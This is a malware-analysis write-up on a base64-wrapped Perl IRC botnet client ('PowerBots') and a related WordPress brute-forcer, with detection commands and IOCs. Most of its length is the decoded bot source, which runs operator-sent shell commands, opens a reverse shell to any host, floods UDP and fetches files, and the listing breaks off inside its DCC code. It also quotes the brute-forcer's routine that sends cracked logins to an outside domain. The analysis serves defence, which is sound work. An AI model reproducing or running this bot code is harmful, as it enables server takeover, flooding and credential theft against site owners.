Perl in a base64 Envelope - An IRC Botnet Client and Its WordPress Brute-Force Cousins

Table of Contents
Perl is rare on compromised websites these days. When it turns up, it’s usually old, usually a tool someone has been passing around for a long time, and usually runs from a shell instead of through the web server. This post covers four Perl scripts that share one packaging trick:
#!/usr/bin/perl
use MIME::Base64;
eval(decode_base64('IyEvdXNyL2Jpbi9wZXJsDQpteSBAbWFzdDNycyA9...'));
Three of them are tools for attacking other sites and servers: an IRC bot that takes remote commands, and a two-part WordPress brute-forcer. Two of the four were saved with a .php extension even though they’re Perl, so they were meant to be run from a shell (perl file.php), not served by a web server.
Base64 plus
evalkeeps every interesting word (server names, command names, usernames) out of the file in readable form. Anything that scans the file forirc,PRIVMSGorwp-login.phpfinds nothing.
I decoded all of them statically and never ran any of them.
The Wrapper#
The wrapper is three lines, and it’s identical in form across the four files. Decoding the two largest, which are 36,819 and 36,820 bytes, gives byte-for-byte identical 27,568 byte scripts. The only difference is a trailing space in the wrapper. That’s all it takes to make two files hash differently, so a detection based on file hashes treats them as two unrelated samples.
PowerBots: The IRC Bot#
The first script starts with its settings:
my @mast3rs = ("er");
my @hostauth = ("dream.com");
my @admchan = ("#x");
my @server = ("grip.topshop.la");
my $xeqt = "!os2";
my @nickname = ("godlike");
my @rports = ("80");
my @fakeps = ("/usr/sbin/httpd");
my $version = 'PowerBots (C) GohacK';
It’s a classic Perl IRC bot: it connects to an IRC server, joins a channel, and does what its controller types. The details show how it tries not to be noticed:
- A disguised process. It sets
$0 = "/usr/sbin/httpd\0", so inpsit looks like a web server. It then forks twice, ignoresINT,HUP,TERM,CHLDandPS, and detaches. - IRC over port 80.
@rportsis("80"). The bot speaks IRC to an IRC server listening on the web port, which often passes a firewall that blocks the usual 6667. - A disguised IRC client. When someone sends a CTCP
VERSIONrequest, it replies with one of 35 real client strings picked at random (mIRC, BitchX, irssi, XChat, HydraIRC, ScrollZ and others), so it looks like a person. - Nickname and real name. It signs on as
godlike(adding a random number if that nick is taken), with the real-name field set to the output ofuname -r.
Who is in charge#
Authentication is two plain comparisons. A message is obeyed only if the sender’s nick is exactly er and their host is exactly dream.com, both case-insensitive, with no password. On a private IRC server the operator controls that. Anywhere else, anyone who connects with the same nick and a matching hostmask could give the bot orders.
The bot joins the channel #x with the key muietie once it’s connected. Orders arrive in three ways:
| How it’s sent | What it does |
|---|---|
a private message to the bot (or <nick> <text> in the channel) | runs the text as a shell command and sends the output back, 5 lines at a time with a 6 second pause |
!os2 !<command> or <nick> !<command> | IRC actions (24 of them) |
<nick> @<command> | “bot functions” (7 of them) |
The commands#
The IRC actions are mostly channel and flood controls: join, part, rejoin, op, deop, voice, devoice, msg, flood, ctcpflood, ctcp, invite, nick, jump (connect to another IRC server), raw (send any IRC line), rj and rp (join or part after a random delay), quit and others. A few stand out:
eval <perl>runs arbitrary Perl inside the bot.send(and the matching DCC code) transfers files over IRC’s DCC protocol.bang on|offandstat on|offswitch attack commands and status messages on and off.
The @ functions are the ones aimed at other machines:
| Command | What it does |
|---|---|
ps <host> | a quick TCP scan of 20 ports (21, 22, 23, 25, 53, 80, 110, 113, 143, 3306, 4000, 5900, 6667-6669, 7000, 10000, 12345, 31337, 65501) |
nmap <host> <from> <to> | the same, over a port range |
down <url> <file> | download a file with the bot’s own HTTP client (it honours http_proxy) |
udp <host> <port> <seconds> | a UDP flood |
back <host> <port> | a reverse shell: connects out, attaches /bin/sh -i (or cmd.exe) to the socket |
rm | runs cd /var/tmp ; rm -rf cb find god* wunder* udev* lib* |
version | prints PowerBots (C) GohacK |
The rm command deletes files with names like god*, wunder*, udev* and lib* from /var/tmp. Since the bot’s own nickname is godlike, some of those are probably its own leftovers. I can’t say what the others are.
Two things that don’t work#
The UDP flood sends empty packets. The payload is built with $pacote = $rand x $rand x $rand;, but $rand is never declared. I evaluated that exact expression in isolation: the length is 0. The flood still sends datagrams, but with nothing in them.
attacker() is dead code. There’s a second flood routine that sends raw packets on every IP protocol number, but I searched for calls to it and there are none. It’s left over from an earlier version of the bot.
The Cousins: A WordPress Brute-Forcer#
The other two scripts are a pair, a launcher and a worker, and they behave like the IRC bot in small ways. Both set a fake process name, fork, and ignore the same five signals, and the variable and error messages are in Portuguese (servidor, conectar, porta, Problema ao criar fork). That suggests Portuguese-speaking authors, but it isn’t proof that the same person wrote all of them.
The launcher#
The launcher’s banner reads “WordPress BruteForce 2012.” It reads a list of target hosts and, for each, starts a worker with perl w.pl -h <host> -o <output> -l <line number>. It decides how many to run at once by counting processes: ps aux | grep apache2 | wc -l, minus 2, up to a limit of 50. The workers also call themselves apache2 and [httpd], so the process count both limits the load and hides in a normal-looking process list.
The worker#
The worker is the larger script (14 KB when decoded). For each host:
- Is it WordPress? It requests
/wp-login.phpand looks foraction=lostpassword. It tries four paths: the root,blog/,wordpress/,wp/. - Find users. It requests
?author=1through?author=10and reads the username from the redirect (/author/<name>/) or the page’s body class. The names it adds itself are the site’s domain name, the first 8 letters of it, andadmin. - Guess passwords. It tries 87 fixed passwords (including patterns like
%site%,%user%123) and about 25 variations of each username: leet-speak substitutions (a→4,e→3,i→1,o→0), a capitalized copy with1,12,123or a year from 2010 to 2018 added, and the reversed name. The latest year, 2018, dates the worker’s wordlist to at least that year, even though the launcher’s banner says 2012. - Log in. It posts to
wp-login.phpand counts it as a success only if it sees awordpress_logged_incookie, a302response, and aLocation:that points into/wp-admin. - Check for admin. It requests
wp-admin/theme-install.phpand looks for a link containingtheme-install.php?tab=, which only administrators can open. - Report. This is the unusual part. The result isn’t written to the output file it was given. The worker sends it out:
sub AddDataToFile () {
$data = $_[0];
getprint("http://whoismyip.ru/dist/ru2.php?save=$data");
}
Every cracked login, including accounts with no admin rights, is sent as http://<host><path>wp-login.php:<user>:<password> in a plain HTTP query string to a third-party domain. That host doesn’t resolve today. The worker also has a -t (TimThumb) option that is accepted but never used.
Detection#
I tested these against all of the samples and against WordPress 6.6 itself.
- The wrapper.
grep -rlE "eval[[:space:]]*\([[:space:]]*decode_base64" /home /var/www /tmp 2>/dev/nullmatched all four original files, and nothing in WordPress core. - A process pretending to be a web server. On Linux, a “web server” whose executable is Perl is a strong sign:
ls -l /proc/[0-9]*/exe 2>/dev/null | grep -i perl
ps -eo pid,ppid,user,args | grep -E '\[httpd\]|/usr/sbin/(httpd|apache2)' | grep -v grep
Real httpd processes run as root or the web user, listen on a port, and have the main server as their parent. A bot has a parent PID of 1, no listening socket, and an outbound connection to an IRC server.
- Outbound IRC. Connections from a web server to port 6667 (or 80, with
PRIVMSG,JOIN, andNICKin the stream) are not normal. In the bot’s config the port is 80, so look at the content, not the port number. - The strings
PowerBots,GohacK,grip.topshop.laandwhoismyip.ru/dist/ru2.phponce the scripts are decoded. - Login attempts. The worker’s guesses are easy to spot in access logs: a burst of
?author=1to?author=10followed byPOST /wp-login.phpfrom one address. Rate limiting or blocking?author=enumeration would stop the first half of it. - Cleanup. Kill the process (not by name, since the name is fake), then find how it started: a cron entry, a startup script, a shell history, or a web shell. Treat any account the worker could have cracked as compromised.
The C2 Today#
grip.topshop.la and topshop.la have no address records, and neither does whoismyip.ru. I used public DNS only and did not contact anything. The IRC server named in the sample is gone, so this exact bot has nowhere to connect, but the configuration is only an example. Another copy could use a different server, and the controller’s identity check would work the same way.
IOCs#
Wrapper: #!/usr/bin/perl + use MIME::Base64 + eval(decode_base64('...'))
Bot: "PowerBots (C) GohacK" prefix !os2 nick godlike<digits> fake process /usr/sbin/httpd
IRC server grip.topshop.la:80 channel #x key muietie
controller: nick "er" at host "dream.com" (exact match, no password)
cleanup: cd /var/tmp ; rm -rf cb find god* wunder* udev* lib* path used after the reverse shell: /tmp/.mrx
Worker: process name /usr/sbin/apache2 ; launcher process name [httpd], file w.pl, status.log
GET http://whoismyip.ru/dist/ru2.php?save=http://<host>/<path>wp-login.php:<user>:<pass>
user enumeration ?author=1..10 ; paths /, blog/, wordpress/, wp/
sha256 (decoded bot, identical in both wrappers) 4b61657b1a447fd26a1c4140c55ca877848f9b3d8a89cd261c409d3ffdcfd3e6
Samples#
decoded IRC bot (PowerBots)
#!/usr/bin/perl
my @mast3rs = ("er");
my @hostauth = ("dream.com");
my @admchan=("#x");
my @server = ("grip.topshop.la");
$servidor= $server[rand scalar @server] unless $servidor;
my $xeqt = "!os2";
my $homedir = "$pwd";
my $shellaccess = 1;
my $xstats = 1;
my $pacotes = 1;
my $linas_max = 5;
my $sleep = 6;
my $portime = 4;
my @fakeps = ("/usr/sbin/httpd");
my @nickname = ("godlike");
my @xident = ("mad");
my @xname = (`uname -r`);
#################
# Random Ports
#################
my @rports = ("80");
my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
"\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
"\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
"\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
"\001Snak for Macintosh 4.9.8 English\001",
"\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
"\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
"\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
"\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
"\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
"\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
"\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
"\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
"\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
"\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
"\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
"\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
"\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
"\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
"\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
"\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
"\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
"\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1??9] : Keep it to yourself!\001",
"\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
"\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
"\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
"\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
"\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
# Default quick scan ports
my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
# xeQt
#my $nick = "Power";
my $nick = $nickname[rand scalar @nickname];
my $realname = $xname[rand scalar @xname];
my $ircname = $xident[rand scalar @xident];
my $porta = $rports[rand scalar @rports];
my $xproc = $fakeps[rand scalar @fakeps];
my $Mrx = $Mrx[rand scalar @Mrx];
my $version = 'PowerBots (C) GohacK';
my $echo = "`echo` $1";
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("$homedir");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$xproc"."\0";
my $pid=fork;
exit if $pid;
die "[x] -> Cannot fork into background: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();
sub getnick {
return "$nickname[rand scalar @nickname]".int(rand(20000));
}
sub getstore ($$)
{
my $url = shift;
my $file = shift;
$http_stream_out = 1;
open(GET_OUTFILE, "> $file");
%http_loop_check = ();
_get($url);
close GET_OUTFILE;
return $main::http_get_result;
}
sub _get
{
my $url = shift;
my $proxy = "";
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
my $host = $1;
my $port = $2 || 80;
my $path = $3;
$path = "/" unless defined($path);
return _trivial_http_get($host, $port, $path);
} elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
my $host = $1;
my $port = $2;
my $path = $url;
return _trivial_http_get($host, $port, $path);
} else {
return undef;
}
}
sub _trivial_http_get
{
my($host, $port, $path) = @_;
my($AGENT, $VERSION, $p);
#print "HOST=$host, PORT=$port, PATH=$path\n";
$AGENT = "get-minimal";
$VERSION = "20000118";
$path =~ s/ /%20/g;
require IO::Socket;
local($^W) = 0;
my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 60) || return;
$sock->autoflush;
my $netloc = $host;
$netloc .= ":$port" if $port != 80;
my $request = "GET $path HTTP/1.0\015\012"
. "Host: $netloc\015\012"
. "User-Agent: $AGENT/$VERSION/u\015\012";
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
$request .= "\015\012";
print $sock $request;
my $buf = "";
my $n;
my $b1 = "";
while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
if ($b1 eq "") {
$b1 = $buf;
$buf =~ s/.+?\015?\012\015?\012//s;
}
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
}
return undef unless defined($n);
$main::http_get_result = 200;
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
$main::http_get_result = $1;
# print "CODE=$main::http_get_result\n$b1\n";
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
my $url = $1;
return undef if $http_loop_check{$url}++;
return _get($url);
}
return undef unless $main::http_get_result =~ /^2/;
}
return $buf;
}
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 2;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
&DCC::connections;
my @ready = $sel_cliente->can_read(0.6);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "".$Mrx."");
}
elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
notice("$pn", "\001PONG\001");
}
if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^!(.*)/){
ircase("$pn","$chan","$1");
}
if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1");
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
$meunick = getnick();
nick("".$meunick."-");
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@admchan){
sendraw("JOIN $canal muietie");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork)
{
exit;
}
else
{
# Quick scan
if ($funcarg =~ /^ps (.*)/) {
my $hostip="$1";
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
}
}
# NMAP, lol
elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
{
my $hostname="$1";
my $portstart = "$2";
my $portend = "$3";
my (@abertas, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
foreach my $porta ($portstart..$portend)
{
my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
if ($scansock) {
push (@abertas, $porta);
$scansock->close;
if ($xstats)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
}
}
}
if (@abertas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
}
}
# Remove
elsif ($funcarg =~ /^rm/)
{
system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
}
# Version
elsif ($funcarg =~ /^version/)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
}
# Download
elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
{
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
}
# Udp
elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $tempo = "$3";
my $pacote;
my $pacotese;
my $fim = time + $tempo;
my $pacota = 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
while (($pacota == "1") && ($pacotes == "1")) {
$pacota = 0 if ((time >= $fim) && ($tempo != "0"));
$pacote=$rand x $rand x $rand;
$porta = int(rand 65000) +1 if ($porta == "0");
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
}
if ($xstats)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
}
}
# Backconnect
elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
system("cd /tmp/.mrx");
close(STDIN);
close(STDOUT);
close(STDERR);
}
exit;
}
}
}
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
elsif ($case =~ /^part (.*)/) {
p("$1");
}
elsif ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
elsif ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg = substr($case, 6);
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg = substr($case, 8);
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
elsif ($case =~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
elsif ($case =~ /^echo/) {
system("echo $meunick > `pwd`/botnick");
msg("done");
}
elsif ($case =~ /^nick (.*)/) {
nick("$1");
}
elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
elsif ($case =~ /^raw (.*)/) {
sendraw("$1");
}
elsif ($case =~ /^eval (.*)/) {
eval "$1";
}
elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
j("$1");
}
elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
p("$1");
}
elsif ($case =~ /^quit/) {
quit();
}
elsif ($case =~ /^rand/) {
my $novonick = getnick();
nick("$novonick");
}
elsif ($case =~ /^stat (.*)/) {
if ($1 eq "on") {
$xstats = 1;
msg("$printl", "Satus enabled");
} elsif ($1 eq "off") {
$xstats = 0;
msg("$printl", "Status disable");
}
}
elsif ($case =~ /^bang (.*)/) {
if ($1 eq "on") {
$pacotes = 1;
msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
} elsif ($1 eq "off") {
$pacotes = 0;
msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
}
}
}
sub shell {
return unless $shellaccess;
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c >= "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
sub attacker {
my $iaddr = inet_aton($_[0]);
my $msg = 'B' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65535; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
sub action {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
return unless $#_ == 1;
sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
return unless $#_ == 1;
sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
return unless $#_ == 1;
sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
return unless $#_ == 0;
sendraw("WHOIS $_[0]");
}
sub who {
return unless $#_ == 0;
sendraw("WHO $_[0]");
}
sub names {
return unless $#_ == 0;
sendraw("NAMES $_[0]");
}
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
sendraw("QUIT :$_[0]");
exit;
}
package DCC;
sub connections {
my @ready = $dcc_sel->can_read(1);
# return unless (@ready);
foreach my $fh (@ready) {
my $dcctipo = $DCC{$fh}{tipo};
my $arquivo = $DCC{$fh}{arquivo};
my $bytes = $DCC{$fh}{bytes};
my $cur_byte = $DCC{$fh}{curbyte};
my $nick = $DCC{$fh}{nick};
my $msg;
my $nread = sysread($fh, $msg, 10240);
if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
$DCC{$fh}{status} = "Cancelado";
